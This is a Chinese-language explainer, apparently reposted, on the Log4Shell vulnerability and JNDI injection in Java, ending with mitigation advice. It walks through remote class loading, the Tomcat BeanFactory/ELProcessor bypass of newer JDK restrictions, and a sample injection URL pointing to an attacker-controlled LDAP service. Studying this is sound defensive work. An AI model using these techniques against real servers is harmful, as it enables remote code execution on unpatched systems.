Log4Shell和JNDI注入的基本常识和目前进展

时间:2022-06-01 19:26:53

最新爆发的Log4j2安全远程漏洞,又称“Log4Shell”,让整个互联网陷入了威胁之中,大量企业和Java项目都在紧锣密鼓的升级更新补丁,还有很多安全研究人员在研究复现和利用以及防范方法,我们今天就来说说相关的常识和进展。

Log4Shell和JNDI注入的基本常识和目前进展

Log4Shell漏洞(正式编号CVE-2021-44228) 归根结底是一个非常简单的JNDI注入漏洞。Log4J在扩展占位符时在记录消息时候(或间接作为格式化消息的参数)执行JNDI lookup()操作。在默认配置中,JNDI支持两种协议:RMI和LDAP。在这两种情况下,lookup()的调用实际上是为了返回一个Java对象。这通常为序列化的Java对象,但是还有一个通过于间接构造的JNDI引用。这个对象和引用字节码可以通过远程URL加载代(java类.class)。

关于JNDI和JNDI注入

JNDI,全称Java Naming and Directory Interface(Java命名和目录接口) 是Java中引入一种Java API,它允许客户端通过名称发现查找和共享Java数据和对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI)、通用对象请求代理架构(CORBA)、轻量级目录访问协议(LDAP)或域名服务(DNS)等。

Log4Shell和JNDI注入的基本常识和目前进展

换句话说,JNDI是一个简单的Java API,例如:InitialContext.lookup(String name)它只接受一个字符串参数,如果该参数来自不信任的来源,则可能会有远程代码的加载和执行。

当请求对象的名称被攻击者控制时,有可能将存在问题的Java应用程序指向恶意的rmi/ldap/corba 服务器并使用任意对象进行响应。如果该对象是“javax.naming.Reference”类的实例,则JNDI客户端会尝试解析此对象的“classFactory”和“classFactoryLocation”属性。如果目标Java应用程序不知道“classFactory”值,Java将使用Java URLClassLoader 从“classFactoryLocation”位置获取Factory字节码。

Log4Shell和JNDI注入的基本常识和目前进展

由于它的简单性,即使“InitialContext.lookup”方法没有直接暴露到受污染的数据,它对于利用Java漏洞也非常有用。在某些情况下,它仍然可以通过反序列化或不安全反射攻击来访问。

一段易受攻击的应用程序示例如下:

Log4Shell和JNDI注入的基本常识和目前进展

Java 8u191之前JNDI注入

通过请求“/lookup/?name=ldap://127.0.0.1:1389/Object”的链接,可以让易受攻击的服务器连接到控制的地址,并触发远程类加载。

一个恶意RMI实例服务示例如下:

Log4Shell和JNDI注入的基本常识和目前进展

由于目标服务器不知道“ExploitObject”,它的字节码将从_attacke_指定的服务加载并执行触发RCE远程执行。

该方法在Java 8u121 中可良好运行,在Java 8u191 更新中,Oracle对LDAP添加了的限制,并发布了CVE-2018-3149补丁,关闭了JNDI远程类加载。然而,仍然有可能通过JNDI注入触发不可信数据的反序列化,但其利用高度依赖于现有的小工具。

Java 8u191+中利用JNDI注入

从Java 8u191开始,当JNDI客户端接收到一个Reference对象时,无论是在RMI还是在LDAP中,都不会使用其“classFactoryLocation”值。但是,仍然可以在“javaFactory”属性中指定任意工厂类。

该类将用于从攻击者控制的“javax.naming.Reference”中提取真实对象。它应该存在于目标类路径中,实现“javax.naming.spi.ObjectFactory”并至少有一个“getObjectInstance”方法:

Log4Shell和JNDI注入的基本常识和目前进展

  1. public interface ObjectFactory {
  2. public Object getObjectInstance(Object obj, Name name, Context nameCtx,
  3. Hashtable environment)
  4. throws Exception;
  5. }

主要思想是在目标类路径中找到一个Factory,它对引用的属性做一些危险的事情。例如,在Apache Tomcat服务器的“org.apache.naming.factory.BeanFactory”类包含使用反射创建bean的逻辑:

Log4Shell和JNDI注入的基本常识和目前进展

Log4Shell和JNDI注入的基本常识和目前进展

Log4Shell和JNDI注入的基本常识和目前进展

“BeanFactory”类创建任意bean的实例并为所有属性调用其设置器。目标bean 类名、属性和属性值都来自被攻击者控制的Reference对象。

目标类应该有一个公共的无参数构造函数和只有一个“字符串”参数的公共设置器。 事实上,这些 setter 可能不一定从 'set..' 开始,因为“BeanFactory”包含一些为任何参数指定任意setter名称的逻辑。

Log4Shell和JNDI注入的基本常识和目前进展

这里使用的魔法属性是“forceString”。 例如,通过将其设置为“x=eval”,我们可以对属性“x”进行名称为“eval”而不是“setX”的方法调用。

因此,通过利用“BeanFactory”类,我们可以使用默认构造函数创建任意类的实例,并使用一个“String”参数调用任何公共方法。

此处可能有用的类之一是“javax.el.ELProcessor”。 在它的“eval”方法中,可以指定一个字符串来表示要执行的Java表达式语言模板。

Log4Shell和JNDI注入的基本常识和目前进展

一个在评估时执行任意命令的恶意表达式:

Log4Shell和JNDI注入的基本常识和目前进展

编写一个示例的RMI服务器,它以精心制作的“ResourceRef”对象进行响应:

Log4Shell和JNDI注入的基本常识和目前进展

该服务以“org.apache.naming.ResourceRef”的序列化对象进行响应,其中包含了精心设计的属性在客户端触发所需的行为。

然后在受害Java进程上触发JNDI解析:

Log4Shell和JNDI注入的基本常识和目前进展

当这个对象被反序列化时,不会发生任何不受欢迎的事情。但由于它仍然扩展“javax.naming.Reference”,“org.apache.naming.factory.BeanFactory”工厂将在受害者方使用以从引用中获取“真实”对象。在此阶段,将触发通过模板评估的远程代码执行,并执行“nslookup jndi.s.xxx”命令。

这里唯一的限制是目标Java应用程序的类路径中应该有一个来自 Apache Tomcat服务器的“org.apache.naming.factory.BeanFactory”类,但其他应用程序服务器可能有自己的对象工厂,可以实现类似的功能。

总结

实际问题不在JDK或Apache Tomcat=中,而是由于用户将不可控数据传递给“InitialContext.lookup()”函数的自定义应用程序中。即使使用最新的漏洞完全修补的JDK中,它存在潜在的安全风险。

在许多情况下,其他漏洞(例如“不受信任数据的反序列化”)也可能导致JNDI解析。通过使用源代码审查来防止这些漏洞始终是一个好主意。

长期以来,对于RMI和LDAP,的引用没有做任何限制。这样对攻击者指定的JNDI RMI或LDA 名称的lookup调用就会导致直接的远程代码执行。

自Java 8u121开始,RMI协议(但不是LDAP)默认不再允许远程代码库。

LDAP之前有一个补丁(CVE-2009-1094),但这完全是对引用对象无效。因此,LDAP仍然允许直接远程执行代码。直到Java 8u191的 CVE-2018-3149漏洞补丁中才解决。

在Java 8u191版本之前,都存在从受控JNDI lookup远程类加载任意代码执行的风险。

但是新版本中RMI引用和工厂构造对象仍未被去除,只是禁止远程代码库。可以通过Apache XBean BeanFactory 返回的引用来实现远程代码执行。只要该类在目标系统上本地可用既可以,例如被包含到Tomcat或者 WebSphere中则仍然有利用的可能。

另外,RMI本质上是基于Java序列化的,而LDAP支持一个特殊的对象类,从目录中反序列化Java对象从lookup()返回。 在这两种情况下,除非应用了全局反序列化过滤器,否则JNDI注入将会导致反序列化不受信任的攻击者提供的数据。虽然有一定的攻击的复杂性,在许多情况下,仍然可用于远程代码执行。

总之,不要依赖当前Java版本来解决这个问题,需要及时更新Log4j(或删除JNDI lookup),或者禁用JNDI扩展才是完全的解决方案(可能不太现实)。

原文链接:https://www.toutiao.com/a7041097579668554244/